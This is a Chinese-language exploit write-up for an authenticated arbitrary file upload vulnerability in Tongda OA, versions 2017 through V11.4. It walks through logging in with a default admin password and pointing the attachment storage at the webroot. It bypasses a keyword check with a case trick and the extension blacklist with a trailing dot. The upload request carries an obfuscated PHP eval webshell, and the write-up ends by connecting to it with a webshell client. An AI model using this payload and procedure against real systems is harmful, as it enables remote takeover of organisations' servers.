通达OA module存在后台任意文件上传漏洞
一、漏洞简介
通达OA是由北京通达信科科技有限公司自主研发的协同办公自动化系统,包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等,后台个人文件柜处/module/upload/upload.php存在任意文件上传漏洞,用户可以通过上传任意文件到服务器中,并且可以借助上传的文件利用shell工具直接获得system权限。
二、影响版本
- 通达OA 2017-通达OA V 11.4
三、资产测绘
- hunter
app.name="通达 OA"
- 登录页面
四、漏洞复现
1、使用默认密码admin,密码为空或采用通达OA任意用户登录登录后台;
2、点击系统管理->系统参数设置->OA服务设置,找到网站根目录:D:MYOAwebroot;
3、点击系统管理->附件管理->添加存储目录,设置附件上传目录为网站根目录:
存储目录设置为Webroot目录,标识id为100-255的整数,勾选将所有新附件存至该目录,描述随意:
⚠️注意:在11.2以上版本会检测存储目录是否包含webroot关键词检测,所以采用大小写绕过:D:MYOAwebrooT;
- 快捷菜单-个人文件柜-新建文件-在编辑器“多图上传”处上传图片
- 修改文件名为“shell.php.”,利用windows的特性绕过黑名单上传php脚本文件,上传数据包如下:
POST /module/upload/upload.php?encode=utf-8 HTTP/1.1
Host: xx.xx.xx.xx:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X_Requested_With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------296004247523879430461279754861
Content-Length: 1273
Origin: http://xx.xx.xx.xx:81
Connection: close
Referer: http://1.14.47.145:81/module/ueditor/dialogs/image/image.html
Cookie: USER_NAME_COOKIE=admin; SID_1=f46a75ea; OA_USER_ID=admin; PHPSESSID=r0jrqh0gmtvabe4qpmmvm7lar4
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="id"
WU_FILE_0
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="name"
shell.jpg
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="type"
image/jpeg
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="lastModifiedDate"
2023/5/9 11:29:05
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="size"
444
-----------------------------296004247523879430461279754861
Content-Disposition: form-data; name="file"; filename="shell.php."
Content-Type: image/jpeg
<?php class Gz5SfY10 { public function __construct($H7Es8){ @eval("/*Z7y11Eib8N*/".$H7Es8.""); }}new Gz5SfY10($_REQUEST['x']);?>
-----------------------------296004247523879430461279754861--
6、得到响应数据包,根据响应拼接webshell地址:
http://192.168.31.154/upload_temp/2307/247860724.shell.php
使用蚁剑成功连接getshell: